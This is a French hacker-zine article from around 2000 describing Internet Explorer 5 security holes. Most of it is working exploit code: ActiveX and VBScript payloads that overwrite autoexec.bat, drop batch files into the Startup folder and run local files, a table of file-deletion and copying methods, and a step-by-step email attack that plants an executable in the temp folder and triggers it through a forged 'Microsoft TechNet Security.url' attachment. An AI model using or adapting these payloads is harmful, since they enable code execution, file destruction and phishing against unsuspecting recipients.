_ ______________________ _ -*6*- `^°*;:,.> Divers trous <.,:;*°^` _____________________________/ŻŻŻm$trou et tobozoŻŻŻ\___________________________ ¤ş°`°ş¤ř,¸¸,ř¤ş°`°ş¤ř,¸¸,ř¤ş°`°ş¤ř,¸¸,ř¤ş°`°ş¤ş°`°ş¤ř,¸¸,ř¤ş°`°ş¤ř,¸¸,ř¤ş°`°ş¤ř,

Vous connaissez sans doute le "trou" sous Internet Explorer qui utilise le contrôle ActiveX "SCR" , celui qui est dans le virus KAK par exemple et dont le code contient :

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" > 
</object> 
<SCRIPT> 
scr.Reset(); 
scr.Path="C:\\autoexec.bat"; 
scr.Doc="Game Over"; 
scr.write(); 
</SCRIPT> 
</object>


On peut donc substituer le contenu d'un fichier avec quasiment n'importe quoi sauf du binaire. Le fichier contiendra toujours un paragraphe ou une ligne ressemblant ŕ ceci :

MSFTwww˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙
˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙
˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙
˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙
˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙Game Over ÎyScriptletTypeLib¶ 

Voici donc une autre méthode pour percer la sécurité d'Internet Explorer qui a plus de fonction et n'écrit pas de paragraphe bidon :


Il faut pour cela utiliser la méthode "CreateTextFile" dont le code est le suivant :

<SCRIPT LANGUAGE=vbscript>
Dim trou, file
Set trou = CreateObject("Scripting.FileSystemObject")
Set file = trou.CreateTextFile("C:\WINDOWS\Menu Démarrer\Programmes\Démarrage\Trou.bat", True)
File.WriteLine("@ECHO OFF")
File.WriteLine("ECHO Ceci est un trou ...") 
File.WriteLine("PAUSE")
File.Write ("ECHO qui est sans danger s'il est sous cette forme .") 
File.Close
</Script>


Remarque: Avant de l'exécuter, le navigateur demande si on veut exécuter le contrôle ActiveX ...


Méthode (exemple ŕ insérer dans le script précédent si besoin ) :

Tâche

Méthode Exemple
Écrire des données dans un fichier . Write File.Write ("Bonjour")
Ecrire des données dans un fichier . WriteLine File.WriteLine ("Bonjour")
Écrire une ligne blanche ou plus . WriteBlankLines File.WriteBlankLines (3)
Lire un nombre spécifié de caractčres. Read Set file = Trou.OpenTextFile("C:\Autexec.bat", ForReading)
s = ts.Read
Lire une ligne entičre . ReadLine Set file = Trou.OpenTextFile("C:\Autexec.bat", ForReading)
s = ts.ReadLine
Lire le contenu entier d'un fichier . ReadAll Set file = Trou.OpenTextFile("C:\Autexec.bat", ForReading)
s = ts.ReadAll
Déplacer un fichier . Move Set file = Trou.GetFile ("C:\Autoexec.bat")
File.move ("C:\Windows\Autoexec.bat")
Copier un fichier . Copy Set file = Trou.GetFile ("C:\Autoexec.bat")
File.Copy ("C:\Windows\Autoexec.bat")
Supprimer un fichier . Delete Set file = Trou.GetFile ("C:\Autoexec.bat")
File.Delete
Créer un dossier . CreateFolder Set File = CreateObject("Scripting.FileSystemObject")
Set Trou = File.CreateFolder(" c:\dossier ") 
CreateFolderDemo = Trou.Path
Copier récursivement un dossier d'un emplacement vers un autre. CopyFolder FileSystemObject.CopyFolder "C:\Windows\System\*", "C:\dossier\"
Supprimer un dossier spécifié et son contenu. DeleteFolder Set file = CreateObject("Scripting.FileSystemObject") file.DeleteFolder("C:\Dossier\)


Voici aussi un code qui utilise le contrôle activeX "Wsh" pour ouvrir un fichier sans l'autorisation d' IE 5 :

<html>
<body>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
</object> 
<SCRIPT> 
wsh.Run('c:\\autoexec.bat');
</SCRIPT> 
</body>
</html>

Il est possible de forcer la sauvegarde des fichiers sur MSIE5
Microsoft Internet Explorer 5 en association avec le systeme de mail & news sur Win95, Win98 et Win2000 souffrent d'un trou de securite qui permet aux mechants crackers de forcer la sauvegarde d'un fichier sur une machine cible malgré les fenetres d'alerte et les warnings.

Les Systemes Vulnerables :
IE5.0 (Toutes les plateformes Windows)
IE5.1 (Toutes les plateformes Windows)

Description :
Creer un fichier html dans lequel il faudra inclure un programme executable encodé en base_64:

<frameset rows="10%,*">
<frame src="mars.exe" >
</frameset>

Creer un autre fichier html ( de type mail ou news) et l'envoyer a la machine cible. A la réception et ouverture, le destinataire devra "sauver", "ouvrir" ou "annuler". Dans tous les cas aucun de ces choix ne marchera. Pendant que le destinataire contemple les choix, le fichier est quand meme placé dans le répertoire temporaire (%windir%\temp). Séléctionner un de ces trois choix s'avere inutile car le fichier est toujours déposé dans le meme repertoire temporaire. Meme en reglant les soit-disants parametres de sécurité au maximim, on n'arrive qu'a generer un message d'erreur tout aussi inutile : le fichier est toujours livré dans le rep temporaire.

La Vulnérabilité

Creer un second fichier contenant un controle ActiveX (CLSID:15589FA1-C456-11CE-BF01-00AA0055595A) et qui va autoriser l'execution des fichiers localement (merci billou). Y incorporer le Javascript qui va appeler l'ActiveX en base_64 et mettre le tout dans une deuxieme frame html :

<frameset rows="10%,*">
<frame src="mars.exe" >
<frame src="lunar.mhtml" >
</frameset>

Appliquer le tag meta HTTP-EQUIV refresh:

<meta http-equiv="refresh"content="5; url=mhtml:file://C:\WINDOWS\TEMP\lunar.mhtml">

(NOTE: Etant donné que ca peut varier, il va falloir jouer ca sur un coup de poker et partir du principe que le repertoire par defaut est C:\WINDOWS\TEMP).
Repasser le binaires une seconde fois an base64.

Dans cet exemple, génériquement dilué, le lien est cliqué, le fichier mars.mhtml va déposer les fichiers *.exe et *.mhtml dans le repertoire temporaire. Le client va afficher une boite de dialogue proposant de "sauver", "ouvrir" ou "annuler" sans tenir compte du choix en ce qui concerne la sauvegarde dans le repertoire temporaire, le tag meta refresh va faire recharger le *.mhtml dans le repertoire temporaire, l'ouvrir et executer le Javascript avec le controle active-x puis enfin lancer l'executable (c'est tordu mais ca marche).

Etant donné que le fichier est lancé localement, aucun des parametres de securité internet/intranet/zone n'est pris en compte.

Exemple concret :
http://www.madchat.org/exploits/mars.mhtml

(NOTE: Doit etre exécuté offline, le fichier exe n'est pas un virus et se declenche environs 5 secondes apres avoir répondu au prompt).

C'est faisable a partir de l'email?

Vivi bien sur mais c'est deja moins évident :

Créer deux séries de messages html :

(a) Le premier compromettant le fichier a etre livré:

<frameset rows="10%,*">
<frame src="refresh.bat" >
</frameset>

Exemple concret :
http://www.madchat.org/exploits/refresh.eml

(NOTE: doit etre lancé depuis le client courrier. Produit un simple *.bat contenant "@exit")

(b) Le second compromettant un *.url fabriqué frauduleusement:

Content-Type: application/octet-stream;
name="Microsoft TechNet Security.url"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="Microsoft TechNet Security.url"

[DEFAULT]
BASEURL=C:\WINDOWS\TEMP\refresh.bat
[InternetShortcut]
URL=C:\WINDOWS\TEMP\refresh.bat

On inclut un faux lien : <font color=blue style="cursor:hand">....

Le destinataire est donc forcé a ouvrir le fichier *.url bidon s'il veut avoir acces a son info.

Exemple concret :
http://www.madchat.org/exploit/secureme.eml

(NOTE: uniquement depuis le client mail.)

Le Scenario n'est pas evident ?

Envoyer le premier courrier et le second courrier separement a la machine cible (dans l'ordre).
Le destinataire va ouvrir le premier msg (save, open, cancel) pendant que le fichier est déposé dans le repertoire temporaire. A l'ouverture du second email apparemment assez innocent (si toutefois la provenance de m$ est un gage de confiance et de securite hehe) le destinataire va tomber sur le faux lien et ouvrir l'attachement (.url) qui pointe sur le C:\WINDOWS\TEMP\ ou les fichiers livrés plus tot attendent patiemment.

Ce scénario peut etre inclus dans un simple message email (attachements).



Contrib, autoriat et recherches :
sinkhole@malware.com
http://members.xoom.com/malware
Traduction et tests : tobozo@madchat.org